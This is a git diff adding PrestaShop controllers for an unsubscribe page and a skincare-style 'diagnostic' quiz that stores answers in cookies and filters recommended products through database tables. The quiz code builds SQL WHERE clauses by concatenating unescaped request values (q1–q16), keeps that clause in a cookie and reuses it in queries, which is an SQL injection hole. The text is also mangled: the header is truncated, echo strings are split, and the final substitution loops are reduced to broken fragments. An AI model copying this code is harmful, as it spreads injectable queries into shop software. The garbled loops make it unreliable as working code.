b/controllers/front/DesinscriptionController.php new file mode 100755 index 0000000..ac29526 --- /dev/null +++ b/controllers/front/DesinscriptionController.php @@ -0,0 +1,46 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class DesinscriptionControllerCore extends FrontController +{ + public $php_self = 'desinscription'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + // $cart_rules = CartRule::getCustomerCartRules($this->context->language->id, $this->context->customer->id, true, false); + // $nb_cart_rules = count($cart_rules); + + // $this->context->smarty->assign(array('nb_cart_rules' => (int)$nb_cart_rules, 'cart_rules' => $cart_rules, 'discount' => $cart_rules, 'nbDiscounts' => (int)$nb_cart_rules)); + $this->setTemplate(_PS_THEME_DIR_.'desinscription.tpl'); + } +} + diff --git a/controllers/front/DiagnosticController.php b/controllers/front/DiagnosticController.php new file mode 100755 index 0000000..ee7cadb --- /dev/null +++ b/controllers/front/DiagnosticController.php @@ -0,0 +1,724 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class DiagnosticControllerCore extends FrontController +{ + public $php_self = 'diagnostic'; + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + protected function assignReponses() + { + $id_lang = $this->context->language->id; + // if($this->context->cookie->exists()){ + /*// echo "cookie OK"; */ + + + // echo $this->context->cookie->diagnostic_q1; + if(!$this->context->cookie->diagnostic_q1 || Tools::getValue('q1'))$this->context->cookie->diagnostic_q1=Tools::getValue('q1',0); + if(!$this->context->cookie->diagnostic_q2 || Tools::getValue('q2'))$this->context->cookie->diagnostic_q2=Tools::getValue('q2',0); + if(!$this->context->cookie->diagnostic_q3 || Tools::getValue('q3'))$this->context->cookie->diagnostic_q3=Tools::getValue('q3',0); + if(!$this->context->cookie->diagnostic_q4 || Tools::getValue('q4'))$this->context->cookie->diagnostic_q4=Tools::getValue('q4',0); + if(!$this->context->cookie->diagnostic_q5 || Tools::getValue('q5'))$this->context->cookie->diagnostic_q5=Tools::getValue('q5',0); + if(!$this->context->cookie->diagnostic_q6 || Tools::getValue('q6'))$this->context->cookie->diagnostic_q6=Tools::getValue('q6',0); + if(!$this->context->cookie->diagnostic_q7 || Tools::getValue('q7'))$this->context->cookie->diagnostic_q7=Tools::getValue('q7',0); + if(!$this->context->cookie->diagnostic_q8 || Tools::getValue('q8'))$this->context->cookie->diagnostic_q8=Tools::getValue('q8',0); + if(!$this->context->cookie->diagnostic_q9 || Tools::getValue('q9'))$this->context->cookie->diagnostic_q9=Tools::getValue('q9',0); + if(!$this->context->cookie->diagnostic_q10 || Tools::getValue('q10'))$this->context->cookie->diagnostic_q10=Tools::getValue('q10',0); + if(!$this->context->cookie->diagnostic_q11 || Tools::getValue('q11'))$this->context->cookie->diagnostic_q11=Tools::getValue('q11',0); + if(!$this->context->cookie->diagnostic_q12 || Tools::getValue('q12'))$this->context->cookie->diagnostic_q12=Tools::getValue('q12',0); + if(!$this->context->cookie->diagnostic_q13 || Tools::getValue('q13'))$this->context->cookie->diagnostic_q13=Tools::getValue('q13',0); + if(!$this->context->cookie->diagnostic_q14 || Tools::getValue('q14'))$this->context->cookie->diagnostic_q14=Tools::getValue('q14',0); + if(!$this->context->cookie->diagnostic_q15 || Tools::getValue('q15'))$this->context->cookie->diagnostic_q15=Tools::getValue('q15',0); + if(!$this->context->cookie->diagnostic_q16 || Tools::getValue('q16'))$this->context->cookie->diagnostic_q16=Tools::getValue('q16',0); + + $q1=(Tools::getValue('q1')>0?Tools::getValue('q1'):$this->context->cookie->diagnostic_q1); + $q2=(Tools::getValue('q2')>0?Tools::getValue('q2'):$this->context->cookie->diagnostic_q2); + $q3=(Tools::getValue('q3')?Tools::getValue('q3'):$this->context->cookie->diagnostic_q3); + $q4=(Tools::getValue('q4')?Tools::getValue('q4'):$this->context->cookie->diagnostic_q4); + $q5=(Tools::getValue('q5')?Tools::getValue('q5'):$this->context->cookie->diagnostic_q5); + $q6=(Tools::getValue('q6')?Tools::getValue('q6'):$this->context->cookie->diagnostic_q6); + $q7=(Tools::getValue('q7')?Tools::getValue('q7'):$this->context->cookie->diagnostic_q7); + $q8=(Tools::getValue('q8')?Tools::getValue('q8'):$this->context->cookie->diagnostic_q8); + $q9=(Tools::getValue('q9')?Tools::getValue('q9'):$this->context->cookie->diagnostic_q9); + $q10=(Tools::getValue('q10')?Tools::getValue('q10'):$this->context->cookie->diagnostic_q10); + $q11=(Tools::getValue('q11')?Tools::getValue('q11'):$this->context->cookie->diagnostic_q11); + $q12=(Tools::getValue('q12')?Tools::getValue('q12'):$this->context->cookie->diagnostic_q12); + $q13=(Tools::getValue('q13')?Tools::getValue('q13'):$this->context->cookie->diagnostic_q13); + $q14=(Tools::getValue('q14')?Tools::getValue('q14'):$this->context->cookie->diagnostic_q14); + $q15=(Tools::getValue('q15')?Tools::getValue('q15'):$this->context->cookie->diagnostic_q15); + $q16=(Tools::getValue('q16')?Tools::getValue('q16'):$this->context->cookie->diagnostic_q16); + // echo "Q3 R". $q3."
"; + // echo Tools::getValue('step'); + + if(Tools::getValue('step')==7){ + $questions_reponses=array('',$q1,$q2,$q3,$q4,$q5,$q6,$q7,$q8,$q9,$q10,$q11,$q12,$q13,$q14,$q15); + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_reorientations'; + $reorientations=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + // // print_r($questions_a_masquer); + $R_a_Reorienter=array(); + foreach($reorientations as $row){ + /* + // echo $questions_reponses[$row['id_question_1']]." ".$row['id_reponse_1'].'
'; + // echo $questions_reponses[$row['id_question_2']]." ".$row['id_reponse_2'].'
'; + // echo $questions_reponses[$row['id_question_3']]." ".$row['id_reponse_3'].'
'; + // echo $questions_reponses[$row['id_question_4']]." ".$row['id_reponse_4'].'


'; + + 2 2 + 1 1 + 0 + 2 1 + + */ + if( + ($row['id_reponse_3']!=0 && $questions_reponses[$row['id_question_1']]==$row['id_reponse_1'] && $questions_reponses[$row['id_question_2']]==$row['id_reponse_2'] && $questions_reponses[$row['id_question_3']]==$row['id_reponse_3']) + || + ($questions_reponses[$row['id_question_1']]==$row['id_reponse_1'] && $questions_reponses[$row['id_question_2']]==$row['id_reponse_2'] && $row['id_question_3']==0) + || + ($questions_reponses[$row['id_question_1']]==$row['id_reponse_1'] && $row['id_question_2']==0 && $row['id_question_3']==0) + + ){ + // // print_r($questions_reponses); + if($row['id_question_4']==1){$this->context->cookie->diagnostic_q1=$row['id_reponse_4'];$q1=$this->context->cookie->diagnostic_q1;} + if($row['id_question_4']==2){$this->context->cookie->diagnostic_q2=$row['id_reponse_4'];$q2=$this->context->cookie->diagnostic_q2;} + if($row['id_question_4']==3){ + $this->context->cookie->diagnostic_q3=$row['id_reponse_4']; + // echo "test".$row['id_reponse_4']; + $q3=$this->context->cookie->diagnostic_q3; + } + if($row['id_question_4']==4){$this->context->cookie->diagnostic_q4=$row['id_reponse_4'];$q4=$this->context->cookie->diagnostic_q4;} + if($row['id_question_4']==5){$this->context->cookie->diagnostic_q5=$row['id_reponse_4'];$q5=$this->context->cookie->diagnostic_q5;} + if($row['id_question_4']==6){$this->context->cookie->diagnostic_q6=$row['id_reponse_4'];$q6=$this->context->cookie->diagnostic_q6;} + if($row['id_question_4']==7){$this->context->cookie->diagnostic_q7=$row['id_reponse_4'];$q7=$this->context->cookie->diagnostic_q7;} + if($row['id_question_4']==8){$this->context->cookie->diagnostic_q8=$row['id_reponse_4'];$q8=$this->context->cookie->diagnostic_q8;} + if($row['id_question_4']==9){$this->context->cookie->diagnostic_q9=$row['id_reponse_4'];$q9=$this->context->cookie->diagnostic_q9;} + if($row['id_question_4']==10){$this->context->cookie->diagnostic_q10=$row['id_reponse_4'];$q10=$this->context->cookie->diagnostic_q10;} + if($row['id_question_4']==11){$this->context->cookie->diagnostic_q11=$row['id_reponse_4'];$q11=$this->context->cookie->diagnostic_q11;} + if($row['id_question_4']==12){$this->context->cookie->diagnostic_q12=$row['id_reponse_4'];$q12=$this->context->cookie->diagnostic_q12;} + if($row['id_question_4']==13){$this->context->cookie->diagnostic_q13=$row['id_reponse_4'];$q13=$this->context->cookie->diagnostic_q13;} + if($row['id_question_4']==14){$this->context->cookie->diagnostic_q14=$row['id_reponse_4'];$q14=$this->context->cookie->diagnostic_q14;} + if($row['id_question_4']==15){$this->context->cookie->diagnostic_q15=$row['id_reponse_4'];$q15=$this->context->cookie->diagnostic_q15;} + } + } + } + + + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_masquerquestions'; + $questions_a_masquer=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + // // print_r($questions_a_masquer); + $Q_a_Masquer=array(); + foreach($questions_a_masquer as $row){ + if($row['id_question_1']==1 && $q1==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==2 && $q2==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==3 && $q3==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==3 && $q3==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==4 && $q4==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==5 && $q5==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==6 && $q6==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==7 && $q7==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==8 && $q8==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==9 && $q9==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==10 && $q10==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==11 && $q11==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==12 && $q12==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==13 && $q13==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==14 && $q14==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + if($row['id_question_1']==15 && $q15==$row['id_reponse_1']){if(!in_array($row['id_question_2'],$Q_a_Masquer))$Q_a_Masquer[]=$row['id_question_2'];} + } + $this->context->smarty->assign('Q_a_Masquer', $Q_a_Masquer); + + if($q1!="") + $this->context->cookie->diagnostic=' + where ( + (id_item=1 and id_reponse='.$q1.') + '.($q2!=''?'or (id_item=2 and id_reponse='.$q2.')':'').' + '.($q3!=''?'or (id_item=3 and id_reponse='.$q3.')':'').' + '.($q4!=''?'or (id_item=4 and id_reponse='.$q4.')':'').' + '.($q5!=''?'or (id_item=5 and id_reponse='.$q5.')':'').' + '.($q6!=''?'or (id_item=6 and id_reponse='.$q6.')':'').' + '.($q7!=''?'or (id_item=7 and id_reponse='.$q7.')':'').' + '.($q8!=''?'or (id_item=8 and id_reponse='.$q8.')':'').' + '.($q9!=''?'or (id_item=9 and id_reponse='.$q9.')':'').' + '.($q10!=''?'or (id_item=10 and id_reponse='.$q10.')':'').' + '.($q11!=''?'or (id_item=11 and id_reponse='.$q11.')':'').' + '.($q12!=''?'or (id_item=12 and id_reponse='.$q12.')':'').' + '.($q13!=''?'or (id_item=13 and id_reponse='.$q13.')':'').' + '.($q14!=''?'or (id_item=14 and id_reponse='.$q14.')':'').' + '.($q15!=''?'or (id_item=15 and id_reponse='.$q15.')':'').' + '.($q16!=''?'or (id_item=16 and id_reponse='.$q16.')':'').' + )'; + + $this->context->smarty->assign('q1', $q1); + $this->context->smarty->assign('q2', $q2); + $this->context->smarty->assign('q3', $q3); + $this->context->smarty->assign('q4', $q4); + $this->context->smarty->assign('q5', $q5); + $this->context->smarty->assign('q6', $q6); + $this->context->smarty->assign('q7', $q7); + $this->context->smarty->assign('q8', $q8); + $this->context->smarty->assign('q9', $q9); + $this->context->smarty->assign('q10', $q10); + $this->context->smarty->assign('q11', $q11); + $this->context->smarty->assign('q12', $q12); + $this->context->smarty->assign('q13', $q13); + $this->context->smarty->assign('q14', $q14); + $this->context->smarty->assign('q15', $q15); + $this->context->smarty->assign('q16', $q16); + + $step=0; + if(Tools::getValue('step')){ + $step=(int)Tools::getValue('step'); + + if($step==7) + $this->assignProducts(); + $id_items=false; + if($step==1)$id_items='1 or hssl.id_item=2 '; + if($step==2)$id_items='3 or hssl.id_item=4 '; + if($step==3)$id_items='5 or hssl.id_item=6 or hssl.id_item=7 or hssl.id_item=8 or hssl.id_item=9'; + if($step==4)$id_items='14 or hssl.id_item=10 or hssl.id_item=11 '; + if($step==5)$id_items='12 or hssl.id_item=13 '; + if($step==6)$id_items='15 or hssl.id_item=16 '; + + if($id_items!=false) + if($full_rep=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hssl.id_item, + hssl.`question`, + hssl.`repA`, + hssl.`repB`, + hssl.`repC`, + hssl.`repD`, + hssl.`repE` , + hssl.`texterepA`, + hssl.`texterepB`, + hssl.`texterepC`, + hssl.`texterepD`, + hssl.`texterepE` + FROM '._DB_PREFIX_.'devspediagnostic_items_lang hssl + left join '._DB_PREFIX_.'devspediagnostic_items d on (d.id_item=hssl.id_item) + WHERE id_lang = '.(int)$id_lang.' + and (hssl.id_item='.$id_items.') + ORDER BY d.`position` asc')) + + // ($active ? ' AND hss.`active` = 1' : ' ') + foreach($full_rep as &$row){ + if($row['id_item']==1)$row['reponse']=$q1; + if($row['id_item']==2)$row['reponse']=$q2; + if($row['id_item']==3)$row['reponse']=$q3; + if($row['id_item']==4)$row['reponse']=$q4; + if($row['id_item']==5)$row['reponse']=$q5; + if($row['id_item']==6)$row['reponse']=$q6; + if($row['id_item']==7)$row['reponse']=$q7; + if($row['id_item']==8)$row['reponse']=$q8; + if($row['id_item']==9)$row['reponse']=$q9; + if($row['id_item']==10)$row['reponse']=$q10; + if($row['id_item']==11)$row['reponse']=$q11; + if($row['id_item']==12)$row['reponse']=$q12; + if($row['id_item']==13)$row['reponse']=$q13; + if($row['id_item']==14)$row['reponse']=$q14; + if($row['id_item']==15)$row['reponse']=$q15; + if($row['id_item']==16)$row['reponse']=$q16; + } + $this->context->smarty->assign('full_rep', $full_rep); + + } + // // print_r($full_rep); + $this->context->smarty->assign('step', $step); + // } + // else{ + // $this->errors[] = Tools::displayError('Votre navigateur doit accepter les cookies pour pouvoir réaliser votre diagnostic'); + // } + + + } + public function assignProducts(){ + // return; + // die(); + /* 14 */ + $productsCroisement14=array(); + $table='croisement'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$this->context->cookie->diagnostic.' and id_category=14'; + // echo $sql; + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsCroisement14)){ + $productsCroisement14[]=$id_product['id_product']; + // echo "Rituel 1 ".$id_product['id_product']." autorisé
"; + } + $table='exclusion'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$this->context->cookie->diagnostic.' and id_category=14'; + + $productsExclusion14=array(); + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsExclusion14)){ + $productsExclusion14[]=$id_product['id_product']; + // echo "Rituel 1 ".$id_product['id_product']." exclus
"; + } + $produits_autorises14=array(); + foreach($productsCroisement14 as $id_product) + if(!in_array($id_product,$productsExclusion14)){ + $produits_autorises14[]=$id_product; + // echo "Rituel 1 ".$id_product." autorisé
"; + } + + /* 15 */ + $productsCroisement=array(); + $table='croisement'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$this->context->cookie->diagnostic.' and id_category=15'; + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsCroisement)){ + $productsCroisement[]=$id_product['id_product']; + // echo "Rituel 2 ".$id_product['id_product']." exclus
"; + } + $table='exclusion'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$this->context->cookie->diagnostic.' and id_category=15'; + + $productsExclusion15=array(); + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsExclusion15)){ + $productsExclusion15[]=$id_product['id_product']; + // echo "Rituel 2 ".$id_product['id_product']." exclus
"; + } + $produits_autorises15=array(); + foreach($productsCroisement as $id_product) + if(!in_array($id_product,$productsExclusion15)){ + $produits_autorises15[]=$id_product; + // echo "Rituel 2 ".$id_product." autorisé
"; + } + + /* 16 */ + $productsCroisement=array(); + $table='croisement'; + // echo $this->context->cookie->diagnostic."
"; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$this->context->cookie->diagnostic.' and id_category=16'; + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsCroisement)){ + $productsCroisement[]=$id_product['id_product']; + // echo "Rituel 3 ".$id_product['id_product']." autorisé
"; + } + $table='exclusion'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$this->context->cookie->diagnostic.' and id_category=16'; + + $productsExclusion16=array(); + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsExclusion16)){ + $productsExclusion16[]=$id_product['id_product']; + // echo "Rituel 3 ".$id_product['id_product']." exclus
"; + } + $produits_autorises16=array(); + foreach($productsCroisement as $id_product) + if(!in_array($id_product,$productsExclusion16)){ + $produits_autorises16[]=$id_product; + // echo "Rituel 3 ".$id_product." autorisé
"; + + } + + /* 17 */ + $productsCroisement=array(); + $table='croisement'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$this->context->cookie->diagnostic.' and id_category=17'; + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsCroisement)) + $productsCroisement[]=$id_product['id_product']; + $table='exclusion'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$this->context->cookie->diagnostic.' and id_category=17'; + + $productsExclusion17=array(); + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsExclusion17)) + $productsExclusion17[]=$id_product['id_product']; + $produits_autorises17=array(); + foreach($productsCroisement as $id_product) + if(!in_array($id_product,$productsExclusion17)){ + $produits_autorises17[]=$id_product; + } + // echo "Produits autorisés rituel 1 : "; + // print_r($produits_autorises14); + // echo "
Produits autorisés rituel 2 : "; + // print_r($produits_autorises15); + // echo "
Produits autorisés rituel 3 : "; + // print_r($produits_autorises16); + // echo "
Produits autorisés rituel 4 : "; + // print_r($produits_autorises17); + // echo "

"; + + $q1=$this->context->cookie->diagnostic_q1; + $q2=$this->context->cookie->diagnostic_q2; + $q3=$this->context->cookie->diagnostic_q3; + $q4=$this->context->cookie->diagnostic_q4; + $q5=$this->context->cookie->diagnostic_q5; + $q6=$this->context->cookie->diagnostic_q6; + $q7=$this->context->cookie->diagnostic_q7; + $q8=$this->context->cookie->diagnostic_q8; + $q9=$this->context->cookie->diagnostic_q9; + $q10=$this->context->cookie->diagnostic_q10; + $q11=$this->context->cookie->diagnostic_q11; + $q12=$this->context->cookie->diagnostic_q12; + $q13=$this->context->cookie->diagnostic_q13; + $q14=$this->context->cookie->diagnostic_q14; + $q15=$this->context->cookie->diagnostic_q15; + + $questions_reponses=array('',$q1,$q2,$q3,$q4,$q5,$q6,$q7,$q8,$q9,$q10,$q11,$q12,$q13,$q14,$q15); + if($condition=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions ORDER BY id_condition asc')){ + /* 14 */ + foreach($produits_autorises14 as $key => &$product){ + if($conditions_trouvees=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions where id_product_2='.(int)$product)){ + foreach($conditions_trouvees as &$row){ + $id_question_1=$row['id_question_1']; + $id_question_2=$row['id_question_2']; + $id_question_3=$row['id_question_3']; + $id_reponse_1=$row['id_reponse_1']; + $id_reponse_2=$row['id_reponse_2']; + $id_reponse_3=$row['id_reponse_3']; + $id_product_1=$row['id_product_1']; + $id_product_2=$row['id_product_2']; + if($id_reponse_3>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2 && $questions_reponses[$id_question_3]==$id_reponse_3){ + // echo "Rituel 1 : ".$produits_autorises14[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises14[$key]); + if(!in_array($id_product_1,$produits_autorises14)) + $produits_autorises14[]=$id_product_1; + } + }elseif($id_reponse_2>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2){ + // echo "Rituel 1 : ".$produits_autorises14[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises14[$key]); + if(!in_array($id_product_1,$produits_autorises14)) + $produits_autorises14[]=$id_product_1; + } + }else{ + if($questions_reponses[$id_question_1]==$id_reponse_1){ + // echo "Rituel 1 : ".$produits_autorises14[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises14[$key]); + if(!in_array($id_product_1,$produits_autorises14)) + $produits_autorises14[]=$id_product_1; + } + } + } + } + } + // print_r($produits_autorises14); + + /* end 14 */ + /* 15 */ + foreach($produits_autorises15 as $key => &$product){ + if($conditions_trouvees=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions where id_product_2='.(int)$product)){ + foreach($conditions_trouvees as &$row){ + $id_question_1=$row['id_question_1']; + $id_question_2=$row['id_question_2']; + $id_question_3=$row['id_question_3']; + $id_reponse_1=$row['id_reponse_1']; + $id_reponse_2=$row['id_reponse_2']; + $id_reponse_3=$row['id_reponse_3']; + $id_product_1=$row['id_product_1']; + $id_product_2=$row['id_product_2']; + if($id_reponse_3>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2 && $questions_reponses[$id_question_3]==$id_reponse_3){ + // echo "Rituel 2 : ".$produits_autorises15[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises15[$key]); + if(!in_array($id_product_1,$produits_autorises15)) + $produits_autorises15[]=$id_product_1; + } + }elseif($id_reponse_2>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2){ + // echo "Rituel 2 : ".$produits_autorises15[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises15[$key]); + if(!in_array($id_product_1,$produits_autorises15)) + $produits_autorises15[]=$id_product_1; + } + }else{ + if($questions_reponses[$id_question_1]==$id_reponse_1){ + // echo "Rituel 2 : ".$produits_autorises15[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises15[$key]); + if(!in_array($id_product_1,$produits_autorises15)) + $produits_autorises15[]=$id_product_1; + } + } + } + } + } + /* end 15 */ + /* 16 */ + foreach($produits_autorises16 as $key => &$product){ + if($conditions_trouvees=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions where id_product_2='.(int)$product)){ + foreach($conditions_trouvees as &$row){ + $id_question_1=$row['id_question_1']; + $id_question_2=$row['id_question_2']; + $id_question_3=$row['id_question_3']; + $id_reponse_1=$row['id_reponse_1']; + $id_reponse_2=$row['id_reponse_2']; + $id_reponse_3=$row['id_reponse_3']; + $id_product_1=$row['id_product_1']; + $id_product_2=$row['id_product_2']; + if($id_reponse_3>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2 && $questions_reponses[$id_question_3]==$id_reponse_3){ + // echo "Rituel 3 : ".$produits_autorises16[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises16[$key]); + if(!in_array($id_product_1,$produits_autorises16)) + $produits_autorises16[]=$id_product_1; + } + }elseif($id_reponse_2>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2){ + // echo "Rituel 3 : ".$produits_autorises16[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises16[$key]); + if(!in_array($id_product_1,$produits_autorises16)) + $produits_autorises16[]=$id_product_1; + } + }else{ + if($questions_reponses[$id_question_1]==$id_reponse_1){ + // echo "Rituel 3 : ".$produits_autorises16[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises16[$key]); + if(!in_array($id_product_1,$produits_autorises16)) + $produits_autorises16[]=$id_product_1; + } + } + } + } + } + /* end 16 */ + /* 17 */ + foreach($produits_autorises17 as $key => &$product){ + if($conditions_trouvees=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions where id_product_2='.(int)$product)){ + foreach($conditions_trouvees as &$row){ + $id_condition=$row['id_condition']; + $id_question_1=$row['id_question_1']; + $id_question_2=$row['id_question_2']; + $id_question_3=$row['id_question_3']; + $id_reponse_1=$row['id_reponse_1']; + $id_reponse_2=$row['id_reponse_2']; + $id_reponse_3=$row['id_reponse_3']; + $id_product_1=$row['id_product_1']; + $id_product_2=$row['id_product_2']; + if($id_reponse_3>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2 && $questions_reponses[$id_question_3]==$id_reponse_3){ + // echo "Rituel 4 : ".$produits_autorises17[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises17[$key]); + if(!in_array($id_product_1,$produits_autorises17)) + $produits_autorises17[]=$id_product_1; + } + }elseif($id_reponse_2>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2){ + // echo "Rituel 4 : ".$produits_autorises17[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises17[$key]); + if(!in_array($id_product_1,$produits_autorises17)) + $produits_autorises17[]=$id_product_1; + } + }else{ + if($questions_reponses[$id_question_1]==$id_reponse_1){ + // echo "Rituel 4 : ".$produits_autorises17[$key]." bannis par la condition ".$id_condition."
"; + unset($produits_autorises17[$key]); + if(!in_array($id_product_1,$produits_autorises17)) + $produits_autorises17[]=$id_product_1; + } + } + } + } + } + /* end 17 */ + } + + // echo "Produits autorisés Rituel 1 : "; + // // print_r($produits_autorises14); + // echo "
Produits autorisés Rituel 2 : "; + // // print_r($produits_autorises15); + // echo "
Produits autorisés Rituel 3 : "; + // // print_r($produits_autorises16); + // echo "
Produits autorisés Rituel 4 : "; + + $sbustitutions=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_substitutions ORDER BY id_substitution asc'); + // echo "

Substitutions :
"; + + foreach($sbustitutions as $substitution){ + $id_1=$substitution['id_product_1']; + $id_2=$substitution['id_product_2']; + // echo "
Si ".$id_1." et ".$id_2." sont dans le même rituel, alors ".$id_1." sera substitué (enlevé)
"; + for($i=0;$i"; + + unset($produits_autorises14[$i]); + } + } + for($i=0;$i"; + unset($produits_autorises15[$i]); + } + } + for($i=0;$i"; + unset($produits_autorises16[$i]); + } + } + for($i=0;$i"; + unset($produits_autorises17[$i]); + } + } + } + // echo "Produits autorisés Rituel 1 : "; + // print_r($produits_autorises14); + // echo "
Produits autorisés Rituel 2 : "; + // print_r($produits_autorises15); + // echo "
Produits autorisés Rituel 3 : "; + // print_r($produits_autorises16); + // echo "
Produits autorisés Rituel 4 : "; + // print_r($produits_autorises17); + // echo "

